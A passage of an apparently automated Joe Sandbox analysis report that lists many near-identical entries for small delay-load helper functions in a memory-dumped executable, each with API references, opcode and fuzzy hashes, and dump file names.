API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c18baae878918fe691409d2109a397d49aae0b3c5ec73425ab94161946808474
Instruction ID: da27153a51d184c7d7ec49a224e32c5787ba0b199ea40e7c56451f8450121b7c
Opcode Fuzzy Hash: c18baae878918fe691409d2109a397d49aae0b3c5ec73425ab94161946808474
Instruction Fuzzy Hash: 78B002B63AD601BD375461557D17FB6065CC5C0B61B70F53AF452F4041D4849DC550F1

Function 00E1F3EB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 785418f3c74e128510ba35ece16a92d9346b7fa84bb6984dcf865f7555ec6cd3
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: 785418f3c74e128510ba35ece16a92d9346b7fa84bb6984dcf865f7555ec6cd3
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F3F5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0d4d1506791d542ada9919ff883cea3afe3b0f615e11620f6b5355ebf27d44df
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: 0d4d1506791d542ada9919ff883cea3afe3b0f615e11620f6b5355ebf27d44df
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F3FF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d2260b2187929697b0213e3148939165c29abb078bb7e7f698f988f534bc2e40
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: d2260b2187929697b0213e3148939165c29abb078bb7e7f698f988f534bc2e40
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F3D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 246fc60e5dc28e25d4682d720a50ea94df771039bcfc85a3a90884a715e9718d
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: 246fc60e5dc28e25d4682d720a50ea94df771039bcfc85a3a90884a715e9718d
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F3B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ae488119fd07e400b35f7a838bdcc3c2ca28612a9b2bb00dc42f1663aca637ec
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: ae488119fd07e400b35f7a838bdcc3c2ca28612a9b2bb00dc42f1663aca637ec
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F373 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5894d52d7774bbbff50143ef1ed41f8143f6e2fb590875e851b42589e0d537ba
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: 5894d52d7774bbbff50143ef1ed41f8143f6e2fb590875e851b42589e0d537ba
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F427 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8bade926f7e3711e3f200bb8389f0f098da58575ba03ef7e1bff872525e9bce9
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: 8bade926f7e3711e3f200bb8389f0f098da58575ba03ef7e1bff872525e9bce9
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F431 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 57b50650f164466849176f82848b76974b9137fda1e2ff9ec4f930a0e59a2acc
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: 57b50650f164466849176f82848b76974b9137fda1e2ff9ec4f930a0e59a2acc
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F409 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 79b36fd9090a848d104b85c2521cda9daeb4fdfa152931c9a3de711840977b7e
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: 79b36fd9090a848d104b85c2521cda9daeb4fdfa152931c9a3de711840977b7e
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F413 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d2c926d49512d699018ecf6a9e2e3170821f12ffc8b5692f901ee2c96f27ccf2
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: d2c926d49512d699018ecf6a9e2e3170821f12ffc8b5692f901ee2c96f27ccf2
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F41D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f7c50370525e5661c0e1d7f705d648abdd0bd599ef429d15c12f5cd6a0fd78d3
Instruction ID: f40fa5fcf041b6bb91e1152813350e271af3d99d52eb21384bfbdff7dcc94d03
Opcode Fuzzy Hash: f7c50370525e5661c0e1d7f705d648abdd0bd599ef429d15c12f5cd6a0fd78d3
Instruction Fuzzy Hash: 54A002A516D1037D354861517D17DB6066DC4C4F51730A52DF412A4081D8401C855471

Function 00E1F5A0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e562436b5d2b253c90a4a67eca254cb82e84fe0439ead12c08a99f7d0410cca0
Instruction ID: 2f3302e5ecb8cebe7e24a8b19cb82265a31ec1decfa42385507f6823d00902c6
Opcode Fuzzy Hash: e562436b5d2b253c90a4a67eca254cb82e84fe0439ead12c08a99f7d0410cca0
Instruction Fuzzy Hash: 20A001E62AD202BE360866A17D2BDBA065DC4C8BA1730A92AF442A5082A9816C8560B1

Function 00E1F58C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4ca6ec51aa9f61bf8e8b5ca8927f68362f40c0d12876e99033e2378eeec78959
Instruction ID: 2f3302e5ecb8cebe7e24a8b19cb82265a31ec1decfa42385507f6823d00902c6
Opcode Fuzzy Hash: 4ca6ec51aa9f61bf8e8b5ca8927f68362f40c0d12876e99033e2378eeec78959
Instruction Fuzzy Hash: 20A001E62AD202BE360866A17D2BDBA065DC4C8BA1730A92AF442A5082A9816C8560B1

Function 00E1F596 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b74959aab108d4fd6e766cb15e4f715d42ce3c13d4fbb052faec9619354e64c4
Instruction ID: 2f3302e5ecb8cebe7e24a8b19cb82265a31ec1decfa42385507f6823d00902c6
Opcode Fuzzy Hash: b74959aab108d4fd6e766cb15e4f715d42ce3c13d4fbb052faec9619354e64c4
Instruction Fuzzy Hash: 20A001E62AD202BE360866A17D2BDBA065DC4C8BA1730A92AF442A5082A9816C8560B1

Function 00E1F564 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e66beb2d77a24851d6e6866a396340d977e64ef8becf0b9a9c1e7da16f03b856
Instruction ID: 2f3302e5ecb8cebe7e24a8b19cb82265a31ec1decfa42385507f6823d00902c6
Opcode Fuzzy Hash: e66beb2d77a24851d6e6866a396340d977e64ef8becf0b9a9c1e7da16f03b856
Instruction Fuzzy Hash: 20A001E62AD202BE360866A17D2BDBA065DC4C8BA1730A92AF442A5082A9816C8560B1

Function 00E1F56E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

